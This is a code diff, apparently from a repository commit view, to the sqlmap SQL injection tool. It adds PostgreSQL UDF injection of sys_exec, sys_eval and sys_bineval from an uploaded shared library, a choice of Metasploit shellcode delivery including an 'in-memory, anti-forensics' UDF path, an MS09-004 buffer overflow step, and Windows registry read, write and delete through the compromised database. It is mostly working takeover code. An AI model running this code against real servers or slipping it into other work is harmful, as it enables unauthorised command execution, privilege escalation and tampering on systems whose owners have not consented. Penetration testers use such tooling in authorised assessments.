||||
def __init__(self):
|
||||
self.excludeDbsList = PGSQL_SYSTEM_DBS
|
||||
self.sysUdfs = {
|
||||
# UDF name: UDF parameters' input data-type and return data-type
|
||||
"sys_exec": {
|
||||
"input": [ "text" ],
|
||||
"return": "int4"
|
||||
},
|
||||
"sys_eval": {
|
||||
"input": [ "text" ],
|
||||
"return": "text"
|
||||
},
|
||||
"sys_bineval": {
|
||||
"input": [ "text" ],
|
||||
"return": "int4"
|
||||
}
|
||||
}
|
||||
|
||||
Enumeration.__init__(self, "PostgreSQL")
|
||||
Filesystem.__init__(self)
|
||||
|
@ -252,15 +266,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||
infoMsg = "fingerprinting the back-end DBMS operating system"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "character(500)")
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
||||
|
||||
# Windows executables should always have ' Visual C++' or ' mingw'
|
||||
# patterns within the banner
|
||||
osWindows = ( " Visual C++", " mingw" )
|
||||
osWindows = ( " Visual C++", "mingw" )
|
||||
|
||||
for osPattern in osWindows:
|
||||
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
||||
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
||||
query += "LIKE '%" + osPattern + "%')>0"
|
||||
query = agent.forgeCaseStatement(query)
|
||||
|
||||
|
@ -275,11 +289,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
logger.info(infoMsg)
|
||||
|
||||
if detailed == False:
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
return
|
||||
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
|
||||
|
@ -408,7 +417,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||
|
||||
# NOTE: lo_export() exports up to only 8192 bytes of the file
|
||||
# (pg_largeobject 'data' field)
|
||||
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile))
|
||||
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
|
||||
|
||||
if confirm == True:
|
||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||
|
@ -416,13 +425,46 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
||||
|
||||
|
||||
def udfInit(self):
|
||||
def udfSetRemotePath(self):
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# The DLL can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
# NOTE: by not specifing any path, it will save into the
|
||||
# data directory, on PostgreSQL 8.3 it is
|
||||
# C:\Program Files\PostgreSQL\8.3\data.
|
||||
self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
# On Linux
|
||||
else:
|
||||
# The SO can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
|
||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||
|
||||
inp = ", ".join(i for i in inpRet["input"])
|
||||
ret = inpRet["return"]
|
||||
|
||||
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
else:
|
||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||
|
||||
|
||||
def udfInjectCmd(self):
|
||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
self.getVersionFromBanner()
|
||||
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
dFile = None
|
||||
wFile = paths.SQLMAP_UDF_PATH
|
||||
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
if banVer >= "8.3":
|
||||
majorVer = "8.3"
|
||||
|
@ -430,72 +472,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||
majorVer = "8.2"
|
||||
|
||||
if kb.os == "Windows":
|
||||
wFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
|
||||
libExt = "dll"
|
||||
self.udfLocalFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
|
||||
self.udfSharedLibExt = "dll"
|
||||
else:
|
||||
wFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
|
||||
libExt = "so"
|
||||
|
||||
for udf in ( "sys_exec", "sys_eval" ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
logger.info("checking if %s UDF already exist" % udf)
|
||||
|
||||
query = agent.forgeCaseStatement("(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)" % (udf, udf))
|
||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||
|
||||
if exists == "1":
|
||||
message = "%s UDF already exists, do you " % udf
|
||||
message += "want to overwrite it? [y/N] "
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output in ("y", "Y"):
|
||||
self.udfToCreate.add(udf)
|
||||
else:
|
||||
self.udfToCreate.add(udf)
|
||||
|
||||
if len(self.udfToCreate) > 0:
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# The DLL can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
# NOTE: by not specifing any path, it will save into the
|
||||
# data directory, on PostgreSQL 8.3 it is
|
||||
# C:\Program Files\PostgreSQL\8.3\data.
|
||||
dFile = "%s.%s" % (lib, libExt)
|
||||
|
||||
# On Linux
|
||||
else:
|
||||
# The SO can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
dFile = "/tmp/%s.%s" % (lib, libExt)
|
||||
|
||||
self.writeFile(wFile, dFile, "binary", False)
|
||||
|
||||
for udf, retType in ( ( "sys_exec", "int4" ), ( "sys_eval", "text" ) ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating %s UDF from the binary UDF file" % udf)
|
||||
|
||||
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE OR REPLACE FUNCTION %s(text) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, retType, dFile, udf))
|
||||
else:
|
||||
logger.debug("keeping existing %s UDF as requested" % udf)
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
|
||||
self.udfSharedLibExt = "so"
|
||||
|
||||
self.udfInjectCore(self.sysUdfs)
|
||||
self.envInitialized = True
|
||||
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, "text")
|
||||
|
||||
|
||||
def uncPathRequest(self):
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||
|
|
|
@ -46,12 +46,15 @@ class Miscellaneous:
|
|||
if kb.os == "Windows":
|
||||
# NOTES:
|
||||
#
|
||||
# * MySQL runs by default as SYSTEM and the system-wide
|
||||
# temporary files directory is C:\WINDOWS\Temp
|
||||
# * The system-wide temporary files directory is
|
||||
# C:\WINDOWS\Temp
|
||||
#
|
||||
# * MySQL runs by default as SYSTEM
|
||||
#
|
||||
# * PostgreSQL runs by default as postgres user and the
|
||||
# temporary files directory is C:\Documents and Settings\postgres\Local Settings\Temp,
|
||||
# however the system-wide folder is writable too
|
||||
# however the system-wide folder is writable too
|
||||
#
|
||||
#infoMsg = "retrieving remote absolute path of temporary files "
|
||||
#infoMsg += "directory"
|
||||
#logger.info(infoMsg)
|
||||
|
@ -70,12 +73,28 @@ class Miscellaneous:
|
|||
setRemoteTempPath()
|
||||
|
||||
|
||||
def delRemoteTempFile(self, tempFile, bat=False):
|
||||
self.checkDbmsOs()
|
||||
|
||||
if kb.os == "Windows":
|
||||
if bat is True:
|
||||
tempFile = tempFile.replace("/", "\\\\")
|
||||
else:
|
||||
tempFile = tempFile.replace("/", "\\")
|
||||
|
||||
cmd = "del /F /Q %s" % tempFile
|
||||
else:
|
||||
cmd = "rm -f %s" % tempFile
|
||||
|
||||
self.execCmd(cmd, forgeCmd=True)
|
||||
|
||||
|
||||
def createSupportTbl(self, tblName, tblField, tblType):
|
||||
inject.goStacked("DROP TABLE %s" % tblName)
|
||||
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
|
||||
|
||||
|
||||
def cleanup(self, onlyFileTbl=False):
|
||||
def cleanup(self, onlyFileTbl=False, udfDict=None):
|
||||
"""
|
||||
Cleanup database from sqlmap create tables and functions
|
||||
"""
|
||||
|
@ -108,17 +127,21 @@ class Miscellaneous:
|
|||
if kb.dbms == "Microsoft SQL Server":
|
||||
return
|
||||
|
||||
for udf in ( "sys_exec", "sys_eval" ):
|
||||
message = "do you want to remove %s UDF? [Y/n] " % udf
|
||||
if udfDict is None:
|
||||
udfDict = self.sysUdfs
|
||||
|
||||
for udf, inpRet in udfDict.items():
|
||||
message = "do you want to remove UDF '%s'? [Y/n] " % udf
|
||||
output = readInput(message, default="Y")
|
||||
|
||||
if not output or output in ("y", "Y"):
|
||||
dropStr = "DROP FUNCTION %s" % udf
|
||||
|
||||
if kb.dbms == "PostgreSQL":
|
||||
dropStr += "(text)"
|
||||
inp = ", ".join(i for i in inpRet["input"])
|
||||
dropStr += "(%s)" % inp
|
||||
|
||||
logger.debug("removing %s UDF" % udf)
|
||||
logger.debug("removing UDF '%s'" % udf)
|
||||
inject.goStacked(dropStr)
|
||||
|
||||
logger.info("database management system cleanup finished")
|
||||
|
|
|
@ -42,13 +42,12 @@ from lib.core.exception import sqlmapUnsupportedDBMSException
|
|||
from lib.core.shell import autoCompletion
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.takeover.abstraction import Abstraction
|
||||
from lib.takeover.dep import DEP
|
||||
from lib.takeover.metasploit import Metasploit
|
||||
from lib.takeover.registry import Registry
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
||||
class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
class Takeover(Abstraction, Metasploit, Registry):
|
||||
"""
|
||||
This class defines generic OS takeover functionalities for plugins.
|
||||
"""
|
||||
|
@ -59,7 +58,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||
self.cmdFromChurrasco = False
|
||||
|
||||
Abstraction.__init__(self)
|
||||
DEP.__init__(self)
|
||||
|
||||
|
||||
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
|
||||
|
@ -257,9 +255,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
|
||||
self.cmdFromChurrasco = True
|
||||
|
||||
# NOTE: no need to handle DEP for Churrasco executable because
|
||||
# it spawns a new process as the SYSTEM user token to execute
|
||||
# the executable passed as argument
|
||||
self.writeFile(wFile, self.churrascoPath, "binary", confirm=False)
|
||||
|
||||
return True
|
||||
|
@ -309,28 +304,53 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||
|
||||
self.initEnv()
|
||||
self.getRemoteTempPath()
|
||||
self.createMsfPayloadStager()
|
||||
self.uploadMsfPayloadStager()
|
||||
|
||||
if kb.os == "Windows":
|
||||
# NOTE: no need to add an exception to DEP for the payload
|
||||
# stager because it already sets the memory to +rwx before
|
||||
# copying the shellcode into that memory page
|
||||
#self.handleDep(self.exeFilePathRemote)
|
||||
goUdf = False
|
||||
condition = ( kb.dbms == "MySQL" or kb.dbms == "PostgreSQL" )
|
||||
|
||||
if conf.privEsc and kb.dbms == "MySQL":
|
||||
if condition is True:
|
||||
msg = "how do you want to execute the Metasploit shellcode "
|
||||
msg += "on the back-end database underlying operating system?"
|
||||
msg += "\n[1] Stand-alone payload stager (file system way, default)"
|
||||
msg += "\n[2] Via UDF 'sys_bineval' (in-memory way, anti-forensics)"
|
||||
|
||||
while True:
|
||||
choice = readInput(msg, default=1)
|
||||
|
||||
if isinstance(choice, str) and choice.isdigit() and int(choice) in ( 1, 2 ):
|
||||
choice = int(choice)
|
||||
break
|
||||
|
||||
elif isinstance(choice, int) and choice in ( 1, 2 ):
|
||||
break
|
||||
|
||||
else:
|
||||
warnMsg = "invalid value, valid values are 1 and 2"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if choice == 2:
|
||||
goUdf = True
|
||||
|
||||
if goUdf is True:
|
||||
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
|
||||
else:
|
||||
self.createMsfPayloadStager()
|
||||
self.uploadMsfPayloadStager()
|
||||
|
||||
if kb.os == "Windows" and conf.privEsc:
|
||||
if kb.dbms == "MySQL":
|
||||
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
||||
debugMsg += "user, no need to privilege escalate"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
elif conf.privEsc and kb.dbms == "PostgreSQL":
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
warnMsg = "by default PostgreSQL on Windows runs as postgres "
|
||||
warnMsg += "user which has no Windows Impersonation "
|
||||
warnMsg += "Tokens: it is unlikely that the privilege "
|
||||
warnMsg += "escalation will be successful"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
elif conf.privEsc and kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
||||
warnMsg += "runs as Network Service which has no Windows "
|
||||
warnMsg += "Impersonation Tokens within all threads, this "
|
||||
|
@ -350,7 +370,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||
# system is not Windows
|
||||
conf.privEsc = False
|
||||
|
||||
self.pwn()
|
||||
self.pwn(goUdf)
|
||||
|
||||
|
||||
def osSmb(self):
|
||||
|
@ -424,11 +444,134 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||
infoMsg += "buffer overflow (MS09-004)"
|
||||
logger.info(infoMsg)
|
||||
|
||||
# NOTE: only needed to handle DEP
|
||||
self.initEnv(mandatory=False, detailed=True)
|
||||
|
||||
self.getRemoteTempPath()
|
||||
self.createMsfShellcode()
|
||||
self.overflowBypassDEP()
|
||||
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
|
||||
self.bof()
|
||||
self.delException()
|
||||
|
||||
|
||||
def __regInit(self):
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
return
|
||||
|
||||
self.checkDbmsOs()
|
||||
|
||||
if kb.os != "Windows":
|
||||
errMsg = "the back-end DBMS underlying operating system is "
|
||||
errMsg += "not Windows"
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
self.initEnv()
|
||||
self.getRemoteTempPath()
|
||||
|
||||
|
||||
def regRead(self):
|
||||
self.__regInit()
|
||||
|
||||
if not conf.regKey:
|
||||
default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
|
||||
msg = "which registry key do you want to read? [%s] " % default
|
||||
regKey = readInput(msg, default=default)
|
||||
else:
|
||||
regKey = conf.regKey
|
||||
|
||||
if not conf.regVal:
|
||||
default = "ProductName"
|
||||
msg = "which registry key value do you want to read? [%s] " % default
|
||||
regVal = readInput(msg, default=default)
|
||||
else:
|
||||
regVal = conf.regVal
|
||||
|
||||
infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal)
|
||||
logger.info(infoMsg)
|
||||
|
||||
return self.readRegKey(regKey, regVal, False)
|
||||
|
||||
|
||||
def regAdd(self):
|
||||
self.__regInit()
|
||||
|
||||
errMsg = "missing mandatory option"
|
||||
|
||||
if not conf.regKey:
|
||||
msg = "which registry key do you want to write? "
|
||||
regKey = readInput(msg)
|
||||
|
||||
if not regKey:
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
else:
|
||||
regKey = conf.regKey
|
||||
|
||||
if not conf.regVal:
|
||||
msg = "which registry key value do you want to write? "
|
||||
regVal = readInput(msg)
|
||||
|
||||
if not regVal:
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
else:
|
||||
regVal = conf.regVal
|
||||
|
||||
if not conf.regData:
|
||||
msg = "which registry key value data do you want to write? "
|
||||
regData = readInput(msg)
|
||||
|
||||
if not regData:
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
else:
|
||||
regData = conf.regData
|
||||
|
||||
if not conf.regType:
|
||||
default = "REG_SZ"
|
||||
msg = "which registry key value data-type is it? "
|
||||
msg += "[%s] " % default
|
||||
regType = readInput(msg, default=default)
|
||||
else:
|
||||
regType = conf.regType
|
||||
|
||||
infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal)
|
||||
infoMsg += "with data '%s'. " % regData
|
||||
infoMsg += "This will work only if the user running the database "
|
||||
infoMsg += "process has privileges to modify the Windows registry."
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.addRegKey(regKey, regVal, regType, regData)
|
||||
|
||||
|
||||
def regDel(self):
|
||||
self.__regInit()
|
||||
|
||||
errMsg = "missing mandatory option"
|
||||
|
||||
if not conf.regKey:
|
||||
msg = "which registry key do you want to delete? "
|
||||
regKey = readInput(msg)
|
||||
|
||||
if not regKey:
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
else:
|
||||
regKey = conf.regKey
|
||||
|
||||
if not conf.regVal:
|
||||
msg = "which registry key value do you want to delete? "
|
||||
regVal = readInput(msg, default=default)
|
||||
|
||||
if not regVal:
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
else:
|
||||
regVal = conf.regVal
|
||||
|
||||
message = "are you sure that you want to delete the Windows "
|
||||
message += "registry path '%s\%s? [y/N] " % (regKey, regVal)
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output[0] not in ( "Y", "y" ):
|
||||
return
|
||||
|
||||
infoMsg = "deleting Windows registry path '%s\%s'" % (regKey, regVal)
|
||||
infoMsg += "This will work only if the user running the database "
|
||||
infoMsg += "process has privileges to modify the Windows registry."
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.delRegKey(regKey, regVal)
|
||||
|
|
46
sqlmap.conf
46
sqlmap.conf
|
@ -262,6 +262,18 @@ limitStart = 0
|
|||
# retrieve them until the last)
|
||||
limitStop = 0
|
||||
|
||||
# First query output word character to retrieve
|
||||
# Valid: integer
|
||||
# Default: 0 (sqlmap will enumerate the query output from the first
|
||||
# character)
|
||||
firstChar = 0
|
||||
|
||||
# Last query output word character to retrieve
|
||||
# Valid: integer
|
||||
# Default: 0 (sqlmap will enumerate the query output until the last
|
||||
# character)
|
||||
lastChar = 0
|
||||
|
||||
# SQL SELECT query to be executed.
|
||||
# Example: SELECT 'foo', 'bar'
|
||||
query =
|
||||
|
@ -271,6 +283,16 @@ query =
|
|||
sqlShell = False
|
||||
|
||||
|
||||
[User-defined function]
|
||||
|
||||
# Inject custom user-defined functions
|
||||
# Valid: True or False
|
||||
udfInject = False
|
||||
|
||||
# Local path of the shared library
|
||||
shLib =
|
||||
|
||||
|
||||
[File system]
|
||||
|
||||
# Read a specific file from the back-end DBMS underlying file system.
|
||||
|
@ -324,6 +346,30 @@ msfPath =
|
|||
tmpPath =
|
||||
|
||||
|
||||
[Windows]
|
||||
|
||||
# Read a Windows registry key value
|
||||
regRead = False
|
||||
|
||||
# Write a Windows registry key value data
|
||||
regAdd = False
|
||||
|
||||
# Delete a Windows registry key value
|
||||
regDel = False
|
||||
|
||||
# Windows registry key
|
||||
regKey =
|
||||
|
||||
# Windows registry key value
|
||||
regVal =
|
||||
|
||||
# Windows registry key value data
|
||||
regData =
|
||||
|
||||
# Windows registry key value type
|
||||
regType =
|
||||
|
||||
|
||||
[Miscellaneous]
|
||||
|
||||
# Retrieve each query output length and calculate the estimated time of
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -29,6 +29,7 @@
|
|||
<current_user query="CURRENT_USER()"/>
|
||||
<current_db query="DATABASE()"/>
|
||||
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'"/>
|
||||
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'"/>
|
||||
<users>
|
||||
<inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
|
||||
<blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
|
||||
|
@ -138,6 +139,7 @@
|
|||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="CURRENT_DATABASE()"/>
|
||||
<is_dba query="(SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)"/>
|
||||
<check_udf query="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>
|
||||
<users>
|
||||
<inband query="SELECT usename FROM pg_user"/>
|
||||
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
|
||||
|
|
Loading…
Reference in New Issue
Block a user